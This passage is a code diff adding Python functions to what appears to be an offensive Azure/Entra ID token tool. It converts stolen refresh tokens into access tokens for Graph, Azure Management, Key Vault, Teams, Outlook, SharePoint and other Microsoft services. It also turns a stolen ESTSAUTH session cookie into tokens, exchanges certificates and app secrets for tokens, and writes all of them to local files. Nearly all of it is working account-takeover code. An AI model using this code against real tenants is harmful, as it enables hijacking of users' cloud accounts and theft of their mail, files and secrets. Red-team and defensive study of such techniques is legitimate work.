+ "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
+ "code": device_code
+ }
+
+ token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body)
+ token_response_content = token_response.content.decode()
+
+ if token_response.status_code == 400:
+ if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1):
+ print("authorization_pending...")
+ last_authorization_pending_time = datetime.now()
+ time.sleep(3)
+ elif not token_response.ok or "authorization_pending" in token_response_content:
+ # continue polling
+ time.sleep(3)
+ else:
+ token_json = json.loads(token_response_content)
+ print_green("\n[+] Token Obtained!\n")
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+ file_path = "graph_tokens.txt"
+ with open(file_path, "a") as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+ exit()
+
+ print_red("[-] Polling expired. Token not obtained.")
+ print("=" * 80)
+
+# get-tenantid
+def get_tenantid(args):
+ if not args.domain:
+ print_red("[-] Error: --domain argument is required for Get-TenantID command")
+ return
+
+ print_yellow("[*] Get-TenantID")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ try:
+ response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration", headers=headers)
+ response.raise_for_status()
+ response_content = response.content.decode()
+
+ open_id_config = json.loads(response_content)
+ tenant_id = open_id_config["authorization_endpoint"].split('/')[3]
+
+ print(tenant_id)
+
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] Error retrieving OpenID configuration: {ex}")
+ print("=" * 80)
+
+
+# get-tokenscope
+def get_tokenscope(args):
+ print_yellow("[*] Get-TokenScope")
+ print("=" * 80)
+
+ try:
+ json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False})
+ scope = json_token.get("scp")
+ if scope:
+ scope_array = scope.split(' ')
+ for s in scope_array:
+ print(s)
+ else:
+ print_red("[-] No scopes found in the access token")
+
+ except jwt.DecodeError:
+ print_red("[-] Invalid access token format")
+ print("=" * 80)
+
+# decode-accesstoken
+def decode_accesstoken(args):
+ print_yellow("[*] Decode-AccessToken")
+ print("=" * 80)
+
+ try:
+ json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False})
+ for key, value in json_token.items():
+ print(f"{key}: {value}")
+
+ except jwt.DecodeError:
+ print_red("[-] Invalid access token format")
+
+ print("=" * 80)
+
+# invoke-refreshtomsgraphtoken
+def invoke_refreshtomsgraphtoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToMSGraphToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://graph.microsoft.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ body = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": "openid"
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ body["claims"] = claims
+
+ response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers)
+ if response.status_code == 200:
+ print_green("[+] Token Obtained!\n")
+ token_response = response.json()
+ for key, value in token_response.items():
+ print(f"[*] {key}: {value}")
+ file_path = "new_graph_tokens.txt"
+ with open(file_path, "a") as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_response.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ else:
+ print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtoazuremanagementtoken
+def invoke_refreshtoazuremanagementtoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToAzureManagementToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://management.azure.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}"
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ body = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": "openid"
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ body["claims"] = claims
+
+ response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers)
+ if response.status_code == 200:
+ print_green("[+] Token Obtained!\n")
+ token_response = response.json()
+ for key, value in token_response.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "az_tokens.txt"
+ with open(file_path, "a") as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_response.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ else:
+ print_red(f"[-] Failed to get Azure Management token: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtovaulttoken
+def invoke_refreshtovaulttoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToVaultToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ scope = "https://vault.azure.net/.default"
+ auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "vault_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Azure Vault token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtomsteamstoken
+def invoke_refreshtomsteamstoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToMSTeamsToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
+ refresh_token = get_access_token(args.token)
+ resource = "https://api.spaces.skype.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+ headers = {
+ "User-Agent": user_agent
+ }
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+ file_path = "teams_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get MS Teams token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtoofficeappstoken
+def invoke_refreshtoofficeappstoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToOfficeAppsToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
+ refresh_token = get_access_token(args.token)
+ resource = "https://officeapps.live.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "officeapps_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Office Apps token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtoofficemanagementtoken
+def invoke_refreshtoofficemanagementtoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToOfficeManagementToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2"
+ refresh_token = get_access_token(args.token)
+ resource = "https://manage.office.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "officemanagement_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Office Management token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtooutlooktoken
+def invoke_refreshtooutlooktoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToOutlookToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://outlook.office365.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "outlook_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Outlook token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtosubstratetoken
+def invoke_refreshtosubstratetoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToSubstrateToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://substrate.office.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "substrate_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Substrate token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtoyammertoken
+def invoke_refreshtoyammertoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToYammerToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://www.yammer.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "yammer_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Yammer token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtointuneenrollmenttoken
+def invoke_refreshtointuneenrollmenttoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToIntuneEnrollment")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ refresh_token = get_access_token(args.token)
+ resource = "https://enrollment.manage.microsoft.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "intune_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtoonedrivetoken
+def invoke_refreshtoonedrivetoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToOneDriveToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
+ refresh_token = get_access_token(args.token)
+ resource = "https://officeapps.live.com/"
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ scope = "openid"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": scope
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "onedrive_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get OneDrive token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-refreshtosharepointtoken
+def invoke_refreshtosharepointtoken(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command")
+ return
+
+ print_yellow("[*] Invoke-RefreshToSharePointToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
+ refresh_token = get_access_token(args.token)
+
+ try:
+ sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip()
+ use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes'
+ admin_suffix = '-admin' if use_admin else ''
+
+ except KeyboardInterrupt:
+ sys.exit()
+
+ auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
+ resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com"
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ data = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "refresh_token",
+ "refresh_token": refresh_token,
+ "scope": "openid"
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ data["claims"] = claims
+
+ try:
+ response = requests.post(auth_url, data=data, headers=headers)
+ response.raise_for_status()
+ print_green("\n[+] Token Obtained!\n")
+
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "sharepoint_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get SharePoint token: {str(e)}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-certtoaccesstoken
+def invoke_certtoaccesstoken(args):
+ if not args.tenant or not args.cert or not args.id:
+ print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command")
+ return
+
+ print_yellow("[*] Invoke-CertToAccessToken")
+ print("=" * 80)
+ tenant_id = args.tenant
+ client_id = args.id
+ cert_path = args.cert
+
+ try:
+ audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
+ with open(cert_path, 'rb') as cert_file:
+ pfx_data = cert_file.read()
+
+ private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend())
+ # calculate x5t (X.509 cert SHA-1 thumbprint)
+ fingerprint = certificate.fingerprint(hashes.SHA1())
+ x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii')
+
+ payload = {
+ 'sub': client_id,
+ 'nbf': datetime.now(timezone.utc),
+ 'exp': datetime.now(timezone.utc) + timedelta(minutes=120),
+ 'iat': datetime.now(timezone.utc),
+ 'iss': client_id,
+ 'aud': audience
+ }
+
+ private_key_pem = private_key.private_bytes(
+ encoding=serialization.Encoding.PEM,
+ format=serialization.PrivateFormat.TraditionalOpenSSL,
+ encryption_algorithm=serialization.NoEncryption()
+ )
+
+ jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t})
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'User-Agent': user_agent
+ }
+
+ data = {
+ 'grant_type': 'client_credentials',
+ 'client_id': client_id,
+ 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',
+ 'client_assertion': jwt_token,
+ 'scope': 'https://graph.microsoft.com/.default'
+ }
+
+ try:
+ response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data)
+ response.raise_for_status()
+ print_green("[+] Token Obtained!\n")
+ token_json = response.json()
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "cert_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get certificate access token: {str(e)}")
+ print_red(response.text)
+ except Exception as e:
+ print_red(f"[-] Error loading .pfx file: {str(e)}")
+ print("=" * 80)
+
+# invoke-estscookietoaccesstoken
+def invoke_estscookietoaccesstoken(args):
+ if not args.tenant or not args.estsauthcookie:
+ print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command")
+ return
+
+ print_yellow("[*] Invoke-ESTSCookieToAccessToken")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+
+ try:
+ client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip()
+ if client == "":
+ client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
+ print("Using Default Client: MSTeams")
+ elif client == "MSTeams":
+ client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
+ elif client == "MSEdge":
+ client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
+ elif client == "AzurePowerShell":
+ client_id = "1950a258-227b-4e31-a9cf-717495945fc2"
+ else:
+ print_red(f"[-] Invalid client: {client}")
+ print("=" * 80)
+ sys.exit()
+
+ except KeyboardInterrupt:
+ sys.exit()
+
+ print()
+ resource = "https://graph.microsoft.com/"
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ ests_auth_cookie = get_access_token(args.estsauthcookie)
+ session = requests.Session()
+
+ if ests_auth_cookie.startswith("ESTSAUTH="):
+ session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com")
+ elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="):
+ session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com")
+ else:
+ print_red("[-] Invalid ESTS cookie format")
+ print("=" * 80)
+ sys.exit()
+
+ state = str(uuid.uuid4())
+ redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient"
+ auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}"
+ response = session.get(auth_url, headers=headers, allow_redirects=False)
+
+ if response.status_code == 302:
+ location = response.headers['Location']
+ parsed_url = urlparse(location)
+ query_params = parse_qs(parsed_url.query)
+
+ if 'code' in query_params:
+ refresh_token = query_params['code'][0]
+ else:
+ print_red("[-] Code not found in redirected URL path")
+ print_red(f" Requested URL: {auth_url}")
+ print_red(f" Response Code: {response.status_code}")
+ print_red(f" Response URI: {location}")
+ print("=" * 80)
+ return None
+ else:
+ print_red("[-] Expected 302 redirect but received other status")
+ print_red(f"[-] Requested URL: {auth_url}")
+ print_red(f"[-] Response Code: {response.status_code}")
+ print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid")
+ print("=" * 80)
+ return None
+
+ if refresh_token:
+ token_url = "https://login.microsoftonline.com/common/oauth2/token"
+ body = {
+ "resource": resource,
+ "client_id": client_id,
+ "grant_type": "authorization_code",
+ "redirect_uri": redirect_uri,
+ "code": refresh_token,
+ "scope": "openid"
+ }
+
+ if args.use_cae:
+ claims = json.dumps({
+ "access_token": {
+ "xms_cc": {
+ "values": ["cp1"]
+ }
+ }
+ }, separators=(',', ':'))
+ body["claims"] = claims
+
+ token_response = session.post(token_url, headers=headers, data=body)
+ token_response_json = token_response.json()
+ access_token = token_response_json.get('access_token')
+
+ if access_token:
+ print_green("[+] Token Obtained!\n")
+ for key, value in token_response_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "estscookie_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_response_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+ print("=" * 80)
+ else:
+ print_red("[-] Failed to obtain access token.")
+ print("=" * 80)
+ return None
+ else:
+ print_red("[-] Refresh token is missing.")
+ print("=" * 80)
+ return None
+
+# invoke-appsecrettoaccesstoken
+def invoke_appsecrettoaccesstoken(args):
+ if not args.tenant or not args.id or not args.secret:
+ print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command")
+ return
+
+ print_yellow("[*] Invoke-AppSecretToAccessToken")
+ print("=" * 80)
+
+ tenant_id = args.tenant
+ client_id = args.id
+ client_secret = args.secret
+
+ token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
+ token_data = {
+ 'grant_type': 'client_credentials',
+ 'client_id': client_id,
+ 'client_secret': client_secret,
+ 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az
+ }
+
+ # check cae for client_credential grants
+
+ user_agent = get_user_agent(args)
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ try:
+ token_response = requests.post(token_url, data=token_data, headers=headers)
+ token_response.raise_for_status()
+ token_json = token_response.json()
+
+ print_green("[+] Token Obtained!\n")
+ for key, value in token_json.items():
+ print(f"[*] {key}: {value}")
+
+ file_path = "appsecret_tokens.txt"
+ with open(file_path, 'a') as writer:
+ writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
+ for key, value in token_json.items():
+ writer.write(f"[*] {key}: {value}\n")
+ writer.write("\n")
+ print_green(f"\n[+] Token information written to '{file_path}'.")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to get app secret token: {str(e)}")
+ if 'token_response' in locals():
+ print_red(token_response.text)
+
+ print("=" * 80)
+
+# new-signedjwt
+def new_signedjwt(args):
+ if not args.tenant or not args.id:
+ print_red("[-] Error: --tenant and --id required for New-SignedJWT command")
+ return
+
+ print_yellow("[*] New-SignedJWT")
